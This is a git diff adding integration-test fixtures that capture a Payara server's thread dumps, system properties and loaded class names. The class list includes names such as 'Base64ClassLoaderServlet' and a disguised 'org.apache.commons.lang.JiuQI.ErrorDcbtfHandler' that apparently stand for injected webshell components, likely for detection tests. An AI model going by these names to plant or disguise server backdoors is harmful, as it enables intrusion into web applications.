java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-2(4)" #129 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6676490c + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #1" #167 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2ab86205 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"RMI RenewClean-[192.168.215.4:8686,javax.rmi.ssl.SslRMIClientSocketFactory@17c870a]" #188 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@107b298d + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.rmi@21.0.9/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:567) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.generic-operation.thread-3" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3f477f00 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"RMI Reaper" #184 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6d2c8844 + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:67) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:234) + at java.rmi@21.0.9/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"RMI TCP Connection(1)-192.168.215.4" #186 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:280) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:304) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:346) + at java.base@21.0.9/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:796) + at java.base@21.0.9/java.net.Socket$SocketInputStream.read(Socket.java:1109) + at java.base@21.0.9/sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:489) + at java.base@21.0.9/sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:483) + at java.base@21.0.9/sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at java.base@21.0.9/sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1461) + at java.base@21.0.9/sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:1066) + at java.base@21.0.9/java.io.BufferedInputStream.fill(BufferedInputStream.java:291) + at java.base@21.0.9/java.io.BufferedInputStream.implRead(BufferedInputStream.java:325) + at java.base@21.0.9/java.io.BufferedInputStream.read(BufferedInputStream.java:312) + at java.base@21.0.9/java.io.FilterInputStream.read(FilterInputStream.java:71) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:580) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:844) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:721) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda/0x0000000401be1250.run(Unknown Source) + at java.base@21.0.9/java.security.AccessController.executePrivileged(AccessController.java:778) + at java.base@21.0.9/java.security.AccessController.doPrivileged(AccessController.java:400) + at java.rmi@21.0.9/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:720) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785653503580" #49 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@3fb43b09 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.9/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.9/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.partition-operation.thread-4" #77 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.affectionate_khayyam.TcpServer.thread-1" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5940247a + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1170) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.partition-operation.thread-1" #74 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Common-Cleaner" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@71bc3560 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.9/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.9/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"http-listener-1-expirer(1)" #124 daemon [TIMED_WAITING] on java.lang.Object@3e4dc94b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-1" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@393a5514 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"hz.affectionate_khayyam.event-5" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@f6d6e1d + java.lang.Thread.State: WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.9/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.9/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +ServletNameTestFilter +UrlMappingTestFilter +com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread +com.hazelcast.internal.networking.nio.NioThread +com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread +com.hazelcast.internal.partition.impl.MigrationQueue +com.hazelcast.internal.partition.impl.MigrationThread +com.hazelcast.internal.server.tcp.TcpServerAcceptor$AcceptorIOThread +com.hazelcast.internal.util.concurrent.MPSCQueue +com.hazelcast.internal.util.executor.CachedExecutorServiceDelegate$Worker +com.hazelcast.internal.util.executor.HazelcastManagedThread +com.hazelcast.internal.util.executor.StripedExecutor$Worker +com.hazelcast.internal.util.phonehome.CloudInfoCollector +com.hazelcast.internal.util.phonehome.MetricsCollector +com.hazelcast.internal.util.phonehome.PhoneHome +com.hazelcast.internal.util.phonehome.PhoneHome$$Lambda/0x0000000401781808 +com.hazelcast.spi.impl.executionservice.impl.DelegateAndSkipOnConcurrentExecutionDecorator$DelegateDecorator +com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl +com.hazelcast.spi.impl.operationexecutor.impl.OperationThread +com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread +com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask +com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread +fish.payara.nucleus.notification.NotifierHandler +fish.payara.nucleus.notification.NotifierHandler$$Lambda/0x0000000401365478 +fish.payara.nucleus.phonehome.PhoneHomeTask +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessorAtomic +org.apache.catalina.core.ContainerBase$ContainerBackgroundSessionProcessorAtomic +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.commons.lang.JiuQI.ErrorDcbtfHandler +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.glassfish.tyrus.servlet.TyrusServletFilter +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/Payara7202606ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Payara7202606ContainerTestBasicInfo.txt new file mode 100644 index 00000000..f9c2192c --- /dev/null +++ b/integration-test/src/test/resources/infos/Payara7202606ContainerTestBasicInfo.txt @@ -0,0 +1,2181 @@ +# Generated At 2026-08-02 06:51:55 +SystemProps: +javax.xml.accessExternalSchema: all +jdk.tls.rejectClientInitiatedRenegotiation: true +java.specification.version: 21 +jdk.corba.allowOutputStreamSubclass: true +sun.jnu.encoding: UTF-8 +javax.net.ssl.trustStorePassword: changeit +com.sun.aas.installRoot: /opt/payara/appserver/glassfish +sun.arch.data.model: 64 +java.vendor.url: http://www.azul.com/ +com.sun.aas.productRoot: /opt/payara/appserver +catalina.useNaming: false +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +sun.boot.library.path: /usr/lib/jvm/zulu21-ca-arm64/lib +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -prebootcommandfile /opt/payara/config/pre-boot-commands-final.asadmin -read-stdin true -postbootcommandfile /opt/payara/config/post-boot-commands-final.asadmin -domainname domain1 -domaindir /opt/payara/appserver/glassfish/domains/domain1 -asadmin-args --host,,,localhost,,,--port,,,4848,,,--user,,,admin,,,--passwordfile,,,/opt/payara/passwordFile,,,--secure=false,,,--terse=false,,,--extraterse=false,,,--echo=false,,,--interactive=false,,,--autoname=false,,,start-domain,,,--verbose=false,,,--watchdog=false,,,--debug=false,,,--warmup=false,,,--domaindir,,,/opt/payara/appserver/glassfish/domains,,,domain1 -instancename server -type DAS -verbose false -warmup false -asadmin-classpath /opt/payara/appserver/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain -watchdog false +jdk.debug: release +java.specification.vendor: Oracle Corporation +gosh.args: --nointeractive +java.version.date: 2026-04-21 +java.home: /usr/lib/jvm/zulu21-ca-arm64 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +org.jboss.weld.serialization.beanIdentifierIndexOptimization: false +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.ip: 127.0.0.1 +jdk.attach.allowAttachSelf: true +java.specification.name: Java Platform API Specification +simple.jacc.provider.JACCRoleMapper.class: com.sun.enterprise.security.ee.authorization.GlassfishRoleMapper +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +jdbc.drivers: org.h2.Driver +javax.net.ssl.trustStore: /opt/payara/appserver/glassfish/domains/domain1/config/cacerts.p12 +java.util.logging.config.file: /opt/payara/appserver/glassfish/domains/domain1/config/logging.properties +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 21.0.11+10-LTS +GlassFish_Platform: Felix +user.name: payara +AS_CONFIG: /opt/payara/appserver/glassfish/config/../config +felix.fileinstall.poll: 5000 +java.security.policy: /opt/payara/appserver/glassfish/domains/domain1/config/server.policy +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +file.encoding: UTF-8 +fish.payara.aas.h2Root: /opt/payara/appserver/h2db +com.sun.aas.imqLib: /opt/payara/appserver/mq/lib +java.vendor.version: Zulu21.50+19-CA +AS_IMQ_BIN: ../../mq/bin +java.io.tmpdir: /tmp +java.version: 21.0.11 +java.vm.specification.name: Java Virtual Machine Specification +com.sun.aas.instanceRoot: /opt/payara/appserver/glassfish/domains/domain1 +jakarta.security.jacc.PolicyFactory.provider: org.glassfish.exousia.modules.def.DefaultPolicyFactory +native.encoding: UTF-8 +java.library.path: /opt/payara/appserver/glassfish/lib:/usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +stderr.encoding: UTF-8 +java.vendor: Azul Systems, Inc. +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +AS_DEF_DOMAINS_PATH: /opt/payara/appserver/glassfish/config/../domains +felix.fileinstall.dir: /opt/payara/appserver/glassfish/modules/autostart/ +java.class.path: /opt/payara/appserver/glassfish/domains/domain1/lib/ext/*:/opt/payara/appserver/glassfish/modules/glassfish.jar +com.sun.aas.instanceRootURI: file:/opt/payara/appserver/glassfish/domains/domain1/ +jakarta.security.jacc.PolicyConfigurationFactory.provider: org.glassfish.exousia.modules.def.DefaultPolicyConfigurationFactory +java.vm.vendor: Azul Systems, Inc. +org.glassfish.gmbal.no.multipleUpperBoundsException: true +user.timezone: UTC +java.vm.specification.version: 21 +os.name: Linux +AS_H2_INSTALL: /opt/payara/appserver/glassfish/config/../../h2db +sun.java.launcher: SUN_STANDARD +user.country: US +org.glassfish.grizzly.DEFAULT_MEMORY_MANAGER: org.glassfish.grizzly.memory.HeapMemoryManager +sun.cpu.endian: little +config.parser: com.sun.enterprise.security.ee.authentication.jakarta.ConfigDomainParser +user.home: /opt/payara +user.language: en +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +felix.fileinstall.bundles.new.start: true +com.sun.aas.hostName: 646678ae647a +AS_INSTALL: /opt/payara/appserver/glassfish/config/.. +javax.net.ssl.keyStorePassword: changeit +java.awt.headless: true +com.ctc.wstx.returnNullForDefaultNamespace: true +AS_DEF_NODES_PATH: ../nodes +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +com.sun.aas.instanceName: server +jdk.util.zip.disableZip64ExtraFieldValidation: true +javax.rmi.ssl.client.enabledProtocols: TLSv1.2,TLSv1.3 +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +stdout.encoding: UTF-8 +path.separator: : +os.version: 7.0.11-orbstack-00360-gc9bc4d96ac70 +com.sun.aas.installRootURI: file:/opt/payara/appserver/glassfish/ +java.runtime.name: OpenJDK Runtime Environment +osgi.shell.telnet.maxconn: 1 +felix.fileinstall.bundles.startTransient: true +jakarta.security.jacc.policy.provider: org.glassfish.exousia.modules.def.DefaultPolicy +AS_IMQ_LIB: ../../mq/lib +com.sun.aas.configRoot: /opt/payara/appserver/glassfish/config +com.sun.aas.imqBin: /opt/payara/appserver/mq/bin +java.vm.name: OpenJDK 64-Bit Server VM +com.sun.aas.javaRoot: /usr/lib/jvm/zulu21-ca-arm64 +javax.net.ssl.keyStore: /opt/payara/appserver/glassfish/domains/domain1/config/keystore.p12 +java.security.auth.login.config: /opt/payara/appserver/glassfish/domains/domain1/config/login.conf +felix.fileinstall.disableConfigSave: false +java.vendor.url.bug: http://www.azul.com/support/ +catalina.home: /opt/payara/appserver/glassfish/domains/domain1 +user.dir: /opt/payara +os.arch: aarch64 +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +osgi.shell.telnet.port: 6666 +catalina.base: /opt/payara/appserver/glassfish/domains/domain1 +java.util.logging.manager: fish.payara.logging.PayaraLogManager +com.sun.aas.agentRoot: /opt/payara/appserver/glassfish/nodes +glassfish.version: Payara Server 7.2026.6 (build 12) +java.vm.info: mixed mode, sharing +java.vm.version: 21.0.11+10-LTS +com.sun.aas.domainsRoot: /opt/payara/appserver/glassfish/domains +java.class.version: 65.0 +org.glassfish.grizzly.nio.DefaultSelectorHandler.force-selector-spin-detection: true + +=========================================== + +ThreadStacks: +"GF Domain XML" #154 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1901509b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at 